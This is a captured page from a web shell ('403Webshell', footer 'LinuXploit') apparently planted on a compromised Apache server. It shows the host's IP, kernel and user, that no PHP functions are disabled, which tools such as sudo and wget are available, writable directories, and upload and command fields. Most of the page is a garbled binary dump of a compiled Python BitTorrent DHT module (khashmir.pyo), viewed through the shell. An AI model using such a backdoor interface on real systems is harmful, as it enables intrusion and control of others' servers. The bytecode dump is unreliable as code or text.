403Webshell
Server IP : 182.53.201.61  /  Your IP : 216.73.217.175
Web Server : Apache/2.2.15 (Fedora)
System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python2.6/site-packages/khashmir/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python2.6/site-packages/khashmir/khashmir.pyo
Cc@sddkZddklZddklZddklZddkZddkl	Z	l
Z
ddklZddk
lZlZddkTdd	klZdd
klZlZddklZddklZlZlZlZddkZddkZddkZddk Z dd
k!l"Z"l#Z#ddk$l%Z%ddk&l'Z'ddkl(Z(ddk)l*Z*l+Z+ei,dZ-de.fdYZ/dZ0dfdYZ1de1fdYZ2de2fdYZ3de3fdYZ4dS(iN(t
gethostbyname(tbttime(tsha(tcommon_optionstrare_options(t	RawServer(tKTabletK(t*(tKStore(tnewIDtnewIDInRange(t	packNodes(tFindNodetGetValuet
KeyExpirert
StoreValue(tbencodetbdecode(tDeferred(t	randrange(tsample(tEventtThreads.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}tKhashmirDBExceptcBseZRS((t__name__t
__module__(((s5/usr/lib/python2.6/site-packages/khashmir/khashmir.pyR,scCsdS(N((tbytes((s5/usr/lib/python2.6/site-packages/khashmir/khashmir.pytfoo/stKhashmirBasecBseZeZddedehed6dd6dZedZ	dZ
dZdZd	d
Z
dZdZdd
ZddZddZddZedZddZdedZd	dZdZdZdZRS(itpauseitmax_rate_periodc

Cs|o
||_n[t|_tg}
ttD]}|
|d|dfq2~
}t|i||_||_d|_	|	|_
|i|||||dS(Nii(t	rawserverRtflagtdictRRRtmax_ul_ratetNonetsockettconfigtsetup(
tselfthosttporttdata_dirR R#t
checkpointterrfunctrlcountR&t_[1]txtd((s5/usr/lib/python2.6/site-packages/khashmir/khashmir.pyt__init__5s
9			cCs/||_||_||_t|_h|_|ii|i|it|_	t
i||i|if|i	|ii|i
|i||_|i|ii|i	|it|_t|i|ii|idd|o?|ii|iddtf|ii|iddndS(NtforceiicSs|S(((ta((s5/usr/lib/python2.6/site-packages/khashmir/khashmir.pyt<lambda>Osi<(i(R)R*tddirR	tstoret	pingcacheR tcreate_udpsockettFalseR%tkrpct
hostbrokertadd_taskR#R&tudpt_loadtstart_listening_udpttimetlastRtrefreshTabletfindCloseNodestTrueR,(R(R)R*R+R.R,((s5/usr/lib/python2.6/site-packages/khashmir/khashmir.pyR'As				!?
"cCs"|i|ii}||_|S(N(t_NodeR>tconnectionForAddrttable(R(tn((s5/usr/lib/python2.6/site-packages/khashmir/khashmir.pytNodeRs	cCs8|idj	o$|ii|i|iindS(N(R%R$R tstop_listening_udptclose(R(((s5/usr/lib/python2.6/site-packages/khashmir/khashmir.pyt__del__WscCst}y7ttii|iddi}t|}Wnt}nX|d}t	}|i
|iii
||i|i|_t|i|_|o|i|dndS(Nt
routing_tabletrtidtrt(R:topentostpathtjoinR6treadRR
RERFR>RGtinitR)R*tnodeRRHt_loadRoutingTable(R(tdo_loadtsR"RP((s5/usr/lib/python2.6/site-packages/khashmir/khashmir.pyR?\s'

-ic
Csh}|ii|d<|i|d<yBttii|idd}|it	||i
Wn$tj
o}dGt|GHnX|o@|i
i|itttidttidd	ndS(
NRPRQRNtwbs!>>> unable to dump routing table!g?g?i(i(RXRPt_dumpRoutingTableRRRSRTRUR6twriteRRLt	ExceptiontstrR R=R,RtinttconsttCHECKPOINT_INTERVAL(R(tautoR1tfte((s5/usr/lib/python2.6/site-packages/khashmir/khashmir.pyR,ms!cCsFx?|D]7}|ii|}|ii|dddtqWdS(s
            load routing table nodes from database
            it's usually a good idea to call refreshTable(force=1) after loading the table
        t	contacteditnocheckN(RJtinitWithDictRHt
insertNodeRE(R(tnodestrecRI((s5/usr/lib/python2.6/site-packages/khashmir/khashmir.pyRYscCspg}xc|iiD]U}xL|iD]A}|ih|id6|id6|id6t|id6q#WqW|S(s>
            save routing table nodes to the database
        RPR)R*tage(	RHtbucketstltappendRPR)R*RaRm(R(RotbucketRX((s5/usr/lib/python2.6/site-packages/khashmir/khashmir.pyR]s

CcCsR|iiti||}y|i|d|Wntij
onXdS(sS
            ping this node and add the contact info to the table on pong!
        tcallbackN(RJRWRbtNULL_IDtsendPingR;tKRPCSelfNodeError(R(R)R*RrRI((s5/usr/lib/python2.6/site-packages/khashmir/khashmir.pyt_addContacts
csVti|oi||n/||fd}td|}|idS(sS
            ping this node and add the contact info to the table on pong!
        cs/t|}iiid||fdS(Ni(RR texternal_add_taskRv(tipR*(R((s5/usr/lib/python2.6/site-packages/khashmir/khashmir.pytgosttargetN(tip_pattmatchRvRtstart(R(RxR*RrRytt((R(s5/usr/lib/python2.6/site-packages/khashmir/khashmir.pyt
addContacts
c
Cs.|ii|dt}g}|D]}|io||q#q#~}t|djo-t|d|ii|dtd }nt}|o|i||n|i	|t|djo%|di
|jo|i|n;t|||i|i
i}	|i
i|	id|fdS(sR returns the contact info for node, or the k closest nodes, from the global table tinvalidiiiN(RHt	findNodesRERtlenRR:RtaddCallbackstaddCallbackRPRrR
R R=RwtgoWithNodes(
R(RPRrterrbackRkR/R0RoR1tstate((s5/usr/lib/python2.6/site-packages/khashmir/khashmir.pytfindNodes/-	
'icCs|ii|d|}|o||jo|ip|i|||q|ii|ig}t|djp|o'|i||f||i|i<qndS(s
        insert a node in our local table, pinging oldest contact in bucket, if necessary
        
        If all you have is a host/port, then use addContact, which calls this method after
        receiving the PONG from the remote node.  The reason for the seperation is we can't insert
        a node into the table without it's peer-ID.  That means of course the node passed into this
        method needs to be a properly formed Node object with a valid ID.
        Rgi
N(	RHRjtinPingtcheckOldNodeR8tgetRPRRp(R(RIRgtoldRo((s5/usr/lib/python2.6/site-packages/khashmir/khashmir.pyRjs	
csd|||fd}|||fd}y|iii}Wntij
onX|i||dS(NcSsV|ddjo|ddjodS|ddjo|ddjodSdSdS(Niii((R4tb((s5/usr/lib/python2.6/site-packages/khashmir/khashmir.pytcmps
""c	s|idjoFii|ig}|i|oJ|d\}}|o.|o'|d||fg}|}|}qnii||}|ob||joUi||y+i|ii|i<i|i=WqRtj
oqRXq|oGi|i=|ix*|D]}i	|d|dq,Wqnjii|ig}|oi|i=ni	||x&|D]}i	|d|dqWdS(s* called if the pinged node never responds iiiN(
tfailsR8RRPtsortRHtreplaceStaleNodeRtKeyErrorRj(	R"RtnewRgRoRItnctoRX(R(R(s5/usr/lib/python2.6/site-packages/khashmir/khashmir.pyt_staleNodeHandlers<
	

$csii|ti||ii|ig}|ix&|D]}i|d|dqOWyi|i=Wntj
onXdS(s- called when we get a pong from the old node iiN(RHRjRER8RRPRR(R"RRRgRoRX(R(R(s5/usr/lib/python2.6/site-packages/khashmir/khashmir.pyt_notStaleNodeHandlers
(tpingRXRPR;RuR(R(RRRgRRtdf((R(Rs5/usr/lib/python2.6/site-packages/khashmir/khashmir.pyRs	!csvy|iii}Wntij
onBX|i|fd}|i|d}|i||dS(s!
            ping a node
        csy|d}|d}h|dd6}|d|d<|d|d<ii|}|i||o|ndS(Nt_krpc_sendertrspRPiR)iR*(RJRiRj(R"RXRHRrRtsenderRI(R((s5/usr/lib/python2.6/site-packages/khashmir/khashmir.pyt_pongHandler#s


cSs|o|ndS(N((terrRXRHRr((s5/usr/lib/python2.6/site-packages/khashmir/khashmir.pyt_defaultPong-sN(RRXRPR;RuRHR(R(RXRrRRR((R(s5/usr/lib/python2.6/site-packages/khashmir/khashmir.pyRts
cCs|S(((R4((s5/usr/lib/python2.6/site-packages/khashmir/khashmir.pyR53scCs|idpF|iid tt|iiddd}|i||n|oe|idp|in|ii|i	t
tti
dtti
ddtfndS(	s
            This does a findNode on the ID one away from our own.  
            This will allow us to populate our table with nodes on our network closest to our own.
            This is called as soon as we start up with an empty table
        Riiig?g?cSstS((RE(R4((s5/usr/lib/python2.6/site-packages/khashmir/khashmir.pyR5@sN(R&RXRPtchrtordRRCR RwRDRRaRbtFIND_CLOSE_INTERVALRE(R(RrRdRP((s5/usr/lib/python2.6/site-packages/khashmir/khashmir.pyRD3s2"cCsd}g}|iiD]d}|pLt|itjp6ttd|ipt|iti	jo||qq~}x3|D]+}t
|i|i}|i
||qWdS(sV
            force=1 will refresh table regardless of last bucket access time
        cSsdS(N((Rk((s5/usr/lib/python2.6/site-packages/khashmir/khashmir.pyRrFscSs|iS((R(R4((s5/usr/lib/python2.6/site-packages/khashmir/khashmir.pyR5IsN(RHRnRRoRtfilterRAtlastAccessedRbtBUCKET_STALENESSRtmintmaxR(R(R3RrR/RqtrefreshRP((s5/usr/lib/python2.6/site-packages/khashmir/khashmir.pyRCBs	~cCsNtd|iid}tidt|iid}h|d6|d6S(s
        Returns (num_contacts, num_nodes)
        num_contacts: number contacts in our routing table
        num_nodes: number of nodes estimated in the entire dht
        cSs|t|iS((RRo(R4R((s5/usr/lib/python2.6/site-packages/khashmir/khashmir.pyR5Tsiiitnum_contactst	num_nodes(treduceRHRnRbRR(R(RR((s5/usr/lib/python2.6/site-packages/khashmir/khashmir.pytstatsNs!cCsbh|d6}|d|d<|d|d<|ii|}|i|ddh|iid6S(NRPiR)iR*Rg(RJRiRjRXRP(R(RPRRRI((s5/usr/lib/python2.6/site-packages/khashmir/khashmir.pyt	krpc_pingXs
cCs|ii|dt}td|}h|d6}|d|d<|d|d<|ii|}|i|ddht|d	6|ii	d6S(
NRcSs
|iS((t
senderDict(RX((s5/usr/lib/python2.6/site-packages/khashmir/khashmir.pyR5bsRPiR)iR*RgRk(
RHRR:tmapRJRiRjRRXRP(R(RzRPRRkRRI((s5/usr/lib/python2.6/site-packages/khashmir/khashmir.pytkrpc_find_node`s
N(RRt	KNodeBaseRFR$RERR:R2R'RJRMR?R,RYR]RvRRRjRRtRDRCRRR(((s5/usr/lib/python2.6/site-packages/khashmir/khashmir.pyR3s()						>	
	tKhashmirReadcBs,eZeZdZddZdZRS(cCs1y|i|}Wntj
o
g}nX|S(N(R7R(R(tkeyRo((s5/usr/lib/python2.6/site-packages/khashmir/khashmir.pytretrieveValuesos
icCs|ii|}|oC|i|}t|djo|ii|d|fqbng}t||||ii}|ii|id||fdS(s returns the values found for key in global table
            callback will be called with a list of values for each peer that returns unique values
            final callback will be an empty list - probably should change to 'more coming' arg
        iN(	RHRRRR RwRR=R(R(RRrtsearchlocalRkRoR((s5/usr/lib/python2.6/site-packages/khashmir/khashmir.pytvalueForKeyvs!cCsh|d6}|d|d<|d|d<|ii|}|i|dd|i|}t|djoh|d6|iid6S|ii|dt	}t
d	|}ht|d
6|iid6SdS(NRPiR)iR*RgtvaluesRcSs
|iS((R(RX((s5/usr/lib/python2.6/site-packages/khashmir/khashmir.pyR5sRk(RJRiRjRRRXRPRHRR:RR(R(RRPRRRIRoRk((s5/usr/lib/python2.6/site-packages/khashmir/khashmir.pytkrpc_find_values
(RRt	KNodeReadRFRRR(((s5/usr/lib/python2.6/site-packages/khashmir/khashmir.pyRms	t
KhashmirWritecBs#eZeZddZdZRS(cs2|||ifd}i||dS(s stores the value for key in the global table, returns immediately, no status 
            in this implementation, peers respond but don't indicate status to storing values
            a key can have many values
        csX|pd}|}nt|||ii}ii|id|fdS(NcSsdS(N((R((s5/usr/lib/python2.6/site-packages/khashmir/khashmir.pyt_storedValueHandlersi(RR R=RwR(RkRtvaluetresponseRHRtaction(R((s5/usr/lib/python2.6/site-packages/khashmir/khashmir.pyt_storeValueForKeys
	
N(RHR(R(RRRrR((R(s5/usr/lib/python2.6/site-packages/khashmir/khashmir.pytstoreValueForKeys
cCs|dt}||i|<h|d6}|d|d<|d|d<|ii|}|i|ddh|iid6S(Ns%0.6fRPiR)iR*Rg(RAR7RJRiRjRXRP(R(RRRPRR~RRI((s5/usr/lib/python2.6/site-packages/khashmir/khashmir.pytkrpc_store_values


N(RRt
KNodeWriteRFR$RR(((s5/usr/lib/python2.6/site-packages/khashmir/khashmir.pyRstKhashmircBseZeZRS((RRRRF(((s5/usr/lib/python2.6/site-packages/khashmir/khashmir.pyRs(5RbR%RtBitTorrent.platformRRARtretBitTorrent.defaultargsRRtBitTorrent.RawServer_magicRtktableRRtknodetkstoreR	tkhashR
RtutilRtactionsR
RRRR;tsysRSt	tracebacktBitTorrent.bencodeRRtBitTorrent.deferRtrandomRRt	threadingRRtcompileR{R_RRRRRR(((s5/usr/lib/python2.6/site-packages/khashmir/khashmir.pyt<module>s:
"	;-

Youez - 2016 - github.com/yon3zu
LinuXploit